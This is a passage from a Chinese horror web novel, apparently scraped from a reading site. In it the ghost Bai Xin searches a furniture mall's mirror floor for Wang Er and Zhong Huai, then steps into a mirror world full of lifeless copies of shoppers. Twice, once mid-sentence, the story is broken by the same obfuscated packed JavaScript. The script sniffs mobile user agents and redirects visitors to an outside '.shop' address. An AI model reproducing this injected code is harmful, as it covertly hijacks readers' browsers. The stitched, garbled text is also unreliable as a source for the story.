还是作业布置得太多了。她边走边想,家长也管管吧,还好被她这个二十五岁的年轻人看到了,要是七八十岁的老人,估计直接就驾鹤西去了。 吐槽了几句好多了,她的心跳渐渐平复,一会儿的功夫已经到了二楼。 白心站在二楼的入口,长长地呼出一口气。 还是早上的样子。冷冽的白炽灯光照在层峦叠嶂的窗帘布上,光线和阴影交叠,间或有店主们刷短视频的声音,没什么人气,很冷清。 上午还稍微有点人,到了下午就是真的没人了。她站在入口,看见有些店主已经准备打烊收摊了。 “王二——”她象征性地喊了一声,虽然她知道他应该不在这。 果然没听到回答。 哎。白心转过身向三楼走去,一边走又一边把头往楼梯扶手凑。 她做好了准备,再一次抬起头—— 什么都没有。 黑洞洞的缝隙中什么都没有,没有刚才那张脸,没有灯光,也没有颜色,像一个黑洞,只有无尽的黑暗。 好奇怪。 白心低下头往上走,想起刚才在江羽依地图上看到的红色。那么鲜艳,那么扎眼,满得快要溢出来了。 为什么看不见? 她小步但快速地向上走着,没有再上来的人了,偶尔有几个楼上的老板往下走,和她擦肩而过。人越来越少了,白心边走边想,这很不妙啊。 人气少了,鬼气就上来了。白心往上走,越走越不舒服。 上午在二楼的时候就觉得不舒服,现在她终于知道是为什么了。不是二楼有问题,而是楼上有问题。 白心走到了三楼,和四楼越近,她的心跳就越快。 虽然也有紧张的原因,但真不至于跳成这样。她停在了三楼的入口,感觉到自己的呼吸都开始急促了。 三楼卖的是各种各样的柜子。衣柜、鞋柜、墙边柜……各式各样各种材质都有,五颜六色地站在卖场里。 白心轻喘着气,又喊了一声:“王二——” 没人回答。 他果然去四楼了。白心闭上眼扶额,心说这狗真是有点智商但不多,知道给她们打电话摇人,却不等她们一个人跑到四楼去了。 她想起之前在幸福小区几乎被扒了一层皮的王二和钟槐,叹了口气,睁开了眼睛。 他小小的脑仁里装的全是钟槐。 人会取舍,会权衡,会比较,狗不会。狗一旦认主,生命里就只有两个字,忠诚。 她的心跳学来越快,不仅想起了那天晚上的钟槐和王二,也想起了那天的自己。 也是这样剧烈的心跳。 白心转过身,开始往四楼走。她故意放慢了步伐,每一步都走得很缓慢,就是为了感受这细微的变化。 奇怪的事发生了。 不同于刚才快速上楼时极速加速的心跳,这次她放慢了速度,心跳反而平稳了。 啥意思?她又加快走了几步,果不其然她开始浑身紧张,抖如筛糠。 她再一次停下来,心跳又慢慢平复了,也不再发抖了。 这是什么感觉?白心对比了一下之前在幸福小区时的感受,发现大不一样。 在幸福小区的时候是只要站在那里心跳就很剧烈,还有生理性呕吐。但是在这里不是,站着不动就还好,但动作一旦大点,就开始紧张了。 三二一木头人?她无厘头地想,人只能站着不动?为什么一动就会难受?动了会怎样?枪毙吗? 她又往上走了几步,这次站到了三楼和四楼之间的转角。 这一顿动作让她刚平复好的心跳又剧烈起来了,白心感觉自己越靠近四楼,感觉就越明显。 不仅是紧张,还有害怕。更准确地说,是恐慌。白心一动不动站着,虽然什么都没发生,却有一种大难即将临头的感觉。 怎么,她想,真的会枪毙吗? 她直直地站着,大概三四分钟后,感觉消失了。 安全了。她的脑子里一瞬间冒出这个形容词,有种成功躲过了灾祸的感觉。 这鬼经历过什么重大灾难吗? 她抬起头朝四楼看去,台阶很高,只能看到半个四楼。四楼的灯光更暗了,可以说是没有,白心抬起下巴向上看,看到了一些发光的东西。 镜子。 虽然顶部只有一盏亮着的大灯,但在每一扇镜子里都有一盏灯。 光线照在镜面上,又不断地反射折射出去,不同于刚才的二三楼,虽然灯不亮,但是卖场很亮。 密密麻麻的镜子站在卖场里,白心只能看到上半边,但视线里的每扇镜子里都有一个光源,远远看上去像灵魂种子。 白心忽然打了个哆嗦,然后她抬起手来扇了自己一巴掌。 真是自己吓自己。 “王二——”她又大喊了一声,仍然没有回答。 但是和刚才不同了,在她喊出声的这一秒,她的心里忽然涌起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015399|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股奇怪的情绪。不是紧张和恐慌,而是她很久没有过的那种,也是她告诫自己不要轻易拥有的那种情绪。 愤怒。 极致的愤怒。 她的胸口开始起伏,感觉到一种十分汹涌的危险冲动从她的心里涌出。 好想杀人。 “妈妈,我们为什么不买?”一个清脆的声音在前面响起,把白心迅速从情绪中拉了出来。 她甩了甩脑袋,看见一大一小两个人正从四楼下来。大的牵着小的,慢慢地下着台阶,迎着她走了过来。 一对母女。 白心站在原地不动,感觉到那股情绪已经过去了。她呼了一口气,听见牵着孩子的妈妈回答:“你很喜欢这里的镜子吗?” “嗯,”三四岁的小女孩边下台阶边回答,“很漂亮。” 两人走得很慢,白心抬起头,看见小孩笑得很开心,说道:“很漂亮哦,妈妈。” 她说了两遍漂亮。白心看着小孩,不明白镜子有什么漂亮的。 妈妈也不明白,问道:“什么很漂亮?” 小孩被妈妈提着,小脚向下跨了一步又一步,很快就走到了白心的面前,站在了平地上。妈妈牵着她转弯,白心的目光追随着她们,听见小孩回答:“姐姐很漂亮。” ……? “什么姐姐?”妈妈正专注带她下楼,没有细究她的话,顺口问道。 “镜子里的姐姐呀。”小孩回答。 白心的头皮一炸,鸡皮疙瘩瞬间起来了。只听小孩又说道:“和楼下的姐姐一样。” “楼下什么姐姐?”妈妈又问道,此时两个人已经快下到三楼了。 “白色的姐姐。”小孩又回答。 白心:“……” 就是她。白心想起刚才在一楼看到的半个脑袋,知道看到的人就是这个小女孩。 妈妈笑了起来,只当小孩在说胡话,没有继续追问了。然而这段被大人忽略的对话却被白心听进去了,她知道不仅她被看见了,连镜子里的人也被看见了。 和她一样的姐姐。 是钟槐吗?白心想,她看到的是钟槐,还是…… 正想着,她忽然听到了一阵清脆的铃铛声。 她猛地抬头,朝着声音传来的地方看去。 那是钟槐的铃铛。 更确切地说,那是钟槐用来呼唤王二的铃铛。 白心站在转角处,听见这声音越来越大,越来越急促,使用者似乎很着急,不断地发出声音。 在这急促的铃铛下,白心不由自主地抬起脚向上走去,仿佛被什么召唤一样,逐渐走向了四楼。 铃铛一直响着,直到她完全地站在了四楼入口才停止。 好多镜子。 白心这才看清整个四楼,没有别的东西,只有镜子。 有一扇穿衣镜正对着她,她看见了镜子里的自己,白色,透明,平凡,普通。 四周静得可怕,没有顾客,也没有老板,连短视频的声音也没有。白心站在入口,一动也不敢动,两只眼睛迅速环视了一圈。 没有红色。一丁点都没有。 除了头顶的白炽灯和镜子里的光,其他的地方都是黑暗的。也不是流动的黑色,而是没有光照的正常黑色。 鬼呢? 67.画镜(三) “钟槐——” “王二——” 白心站在原地保持不动,扯着嗓子喊了两声。 没人回答。 她不敢动,一是答应了左慈要等她,不会轻举妄动,二是这里实在太诡异了。 几百个镜子在她的面前,有的站在地上,有的镶嵌在梳妆台上,有的挂在墙上,全身的、半身的、脸大的、巴掌大的……大的小的,新的旧的,形状各异千姿百态地竖立在卖场里。 不像镜子,像人。 不知道为什么,自从知道钟槐在其中一扇镜子里,她就觉得每扇镜子里都好像有人。 镜子分散在各个角落,朝向四面八方,白心的眼睛扫视一圈,觉得这些镜子和一楼的那些旧家具不同。 它们有生命气息。 “咯咯咯——”一阵诡异的笑声从前方传来。 白心的心里一惊,鸡皮疙瘩卷土重来,一时间心跳如雷鼓。 “咯咯咯——”笑声又响起,仿佛开了倍速似的一秒就笑完了,几个音节浓缩在这一秒里,模糊不清,像老式磁带倒带的那种响动,甚至不能称之为笑声。 “咯咯咯——”声音持续响着,不知道是什么生物发出的,总之不是人。 太吓人了。白心咽了一口口水,丝毫不敢动,头上的冷汗也下来了。 她的右手紧紧握住了哭丧棒,两只眼睛左右快速瞟动着,生怕有什么东西突然窜出来。她试图分辨声音的来源,然而这声音像广播一样散播在整个卖场,无法判断源头在哪。 “咯咯咯——” 几个单音节快速滑动着,听得白心一阵恶心掉san,她从来没听到过这么诡异的笑声。 她的心脏咚咚跳着,前面还是那扇穿衣镜,她的目光落在里面,看见自己木头人一样站着,一动不动。 然而在这紧张的氛围之中,她惊奇地发现自己没有了刚才那种感觉。 虽然紧张,但不再恐慌,也不会抖如筛糠,更没有了大难临头的感觉,那种极致的愤怒也消失殆尽。 只是紧张。属于她自己的紧张。 “咯咯咯——”不明生物又笑了起来,然而白心竟然觉得有点习惯了。 适应能力太快了点吧?她自己都惊讶自己这橡皮泥般的塑形能力,紧张中无厘头地笑了一下,觉得自己被生活不断揉圆搓扁锻炼出来的适应力还是有点用的。 既然感觉消失了,就说明鬼暂时也安静了。白心慢慢抬起一只脚,试图开始往前走。 或者说,鬼认为她没有威胁,放过她了。 私密马赛——她的右脚往前踏了一步,边走边想,我确实不是来捉你的,我只是来找人的。 脚掌平稳落地,白心感觉良好,又抬起左脚向前,很快整个人就往前走了一步,和前面的穿衣镜更近了。 很好。 白心静静站着,没有发觉任何不对。 笑声也停止了,周围十分安静,白心只能听到自己的呼吸声。她又左右环视了一圈,没有看见其他任何生物。 她的心跳也逐渐平稳,没有刚才那么紧张了。仿佛自己不是个贸然闯进来的引渡人,而是前来挑选镜子的普通顾客。 这是通过初筛了。白心笑了,心想看来她还是比较符合这个鬼的眼缘。 她深吸了一口气,抬起右脚开始往前走—— 那我就不客气了。 “钟槐——”她绕过穿衣镜,走进后面的通道,边走边喊,“王二——” 她在某一扇镜子里,你们要自己找。江羽依的话还在耳边,白心往前走着,心想既然她能听见铃铛声,那她们也能听到她的声音吧? “钟槐——” 白心像真的在逛商场一样在里面逛了起来,一边沿着设计通道走着一边呼唤。四楼的设计和二楼差不多,也是一样的动线,弯弯绕绕的人在里面没个半个钟头出不来。 只是不同的是,二楼是山一样沉重压抑的窗帘,四楼则是水面反光一样明亮的镜子。 一个个镜子像一片片小型湖泊,倒映着它看见的一切。 白心路过大大小小的镜子,边呼唤边仔细聆听着声音。 大概四五分钟后,她停在了一扇镜子旁,不喊了。 没用。 她喊了这么久,也没有听到一句回答。如果钟槐真的能听见她的声音,那么也多少该给她一点回应。 王二是怎么消失的? 白心转过身,面对着旁边一扇四四方方的镜子,看见里面的自己眉头微皱,脸色苍白。 他进入了镜子。 白心看着自己,慢慢伸出左手,不自觉地往镜子摸去。在距离镜面只有一厘米的时候,她的手指停止了。 不行。 她答应了左慈,要等她。这是个马上S级的亡魂,很危险。 她放下手,看着镜子里的自己。瘦瘦小小的,变成鬼后好像更轻更瘦了,看起来一点力量都没有。 她凭什么去拯救钟槐?凭她的一腔热血吗? “咯咯咯——”那种笑声又响起来了,上扬的声调听上去像是一种嘲笑。 嘲笑她的弱小,她的犹豫,她的回避。白心听见笑声,忽然觉得一阵愤怒:“不要笑了!” 笑声停止了。 白心再一次抬起手,尝试触摸镜面——就试一次,她想,情况不对立马出来。 她的手指摸到了,不对,是穿过了镜子。白心看着自己没进镜面的手指,一种神奇的感觉从指尖传来。 很空。她慢慢前进,整个手掌都没入了镜子,她感觉到一阵巨大的虚空。 如果四楼的卖场给她的感觉是很满很挤,那么镜子里的世界就是一片空虚,空旷。 她慢慢向前走着,像被黑洞吸入了一般,不由自主地前进。 什么都摸不到。 她的小臂已经完全进入了,里面的世界却空得一无所有,连空气都仿佛没有,她感觉不到任何的气息流动。 她一边前进一边感受着,试图从这虚空之中感受出点什么来。 很遗憾,什么都感受不到。 只是空。 白心看着自己隐入了一半的大臂,以及近在咫尺的自己,深吸一口气,两眼一闭,向前大跨了一步—— 她进入了。 镜中的世界。 白心闭着眼睛,心跳跳得很快,她咽了口口水,隔着眼皮看见前方很亮,似乎是有光的样子。 她的左手垂下来,右手仍然握着哭丧棒,感觉到镜中的世界和外面完全不一样。 闭上眼睛,其他的感觉就会放大。白心站着不动,除了眼前的光,身边似乎还有什么东西。 周围很安静很安静,一点点嘈杂声音都没有。不是自动保持安静的那种安静,而是被黑洞吞噬了所有的那种安静。白心又深吸了一口气,鼓起勇气,慢慢睁开眼睛。 双眼睁开,她看到了一张熟悉的脸。 她自己。 准确地说,是完整的自己。 和她一模一样的自己,完整地站在了她面前不到半米的地方。 白心的呼吸停滞了一瞬,她在大脑里做好了万般的设想和准备,却没想到进来之后看到的是自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020665|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不仅如此,旁边还有很多人。 不,那不是人。 白心屏住了呼吸,看见自己的左右两边,以及后面,站满了密密麻麻的“人”。 “人们”面无表情地站着,一动不动,眼睛睁着,一眨也不眨,像大型兵马俑,也像商场里的模特,只是站着。 白心抬起头,看到了刚才她感应到的“光”。 那是刚才卖场顶部的那个灯。 她再低头,环视一圈,发现自己还在卖场里。 不对,是在复制的镜像卖场里。 白心恢复了呼吸,开始大口喘气,她明白了——这是她进来时那扇镜子视角里的世界。 镜子的视角有限,只能反射出部分卖场,白心看到有一些地方是黑的,知道这是它看不到的地方。 而看得见的地方,站着很多很多“人”。 白心大松了一口气,除了她,这里没有活物。 没有活物的地方,就没有危险。 她开始放松呼吸,抬起左手擦了擦脸上的汗,她的后面还是刚才进来的镜子,她边擦汗边想,要是真有什么危险,她就直接从镜子原路返回。 擦完汗,她放下手,开始打量面前的自己。 确实是一模一样。 白心伸出左手,放在“自己”的右肩上,摸了摸。 假的。 这个“白心”没有生命。 白心看着呆若木鸡的“自己”,像在看一具被人百分百还原的雕塑。虽然她现在已经死了,但好歹她还有灵魂,而前面的“自己”连灵魂都没有,更没有灵魂种子。 画皮画骨难画心。白心看着自己,心想这是镜子自带的复制,还是里面的那个鬼拥有的能力? 她又转过头,看了一圈这些站着的人。有男有女,有老有少,她推测出来这大概是每一个照过这个镜子的人。 如果是镜子本身的特性就算了,如果是鬼—— 她搞出这么多复制假人干什么? 正想着,身后突然传来一阵笑声。白心心里一惊,赶紧转过身,看到两个人正在照镜子。 似乎是一对情侣。 男生对着镜子打理着发型,女生则是把脸凑近了镜面开始补妆。 “这镜子不错,我们要不要买回去?”男生边整理头发边问道。 “不要,”女生回答,“家里都那么多镜子了。” 白心看着和她只有一镜之隔的两个人,忽然打了个哆嗦—— 这要是被买了回去,难道她会跟着镜子住在她们家里吗? 她的脑子里不断涌出那些看过的都市怪谈,有很多恐怖故事就是发生在镜子上。当时她只是把它们当小说看看就过,现在一想这好像不对啊—— 镜子里真的可以住鬼。 爸了个根的。白心又打了个哆嗦,低下了头,心想等自己醒了之后一定要把家里那镜子卖了,同时提醒陈灵把她家的镜子也扔了。 情侣照完镜子之后走了,白心抬起头,转过身,果不其然看见“自己”的旁边多了两个人。 刚才的情侣。 “咯咯咯——”那笑声又响起来了。 白心这下听清了,原来她刚才怎么都找不到声音来源,是因为声音根本不在卖场里,而在镜子里。 她听得很清楚,声音就是从这里发出来的。她抬起头,看见每一个假人的脸上都出现了一个诡异的笑容。 也不能说是笑,因为看起来也像是在哭。 那“咯咯咯”的声音也不是笑,而是“呜呜呜”的哭声。 它们在哭。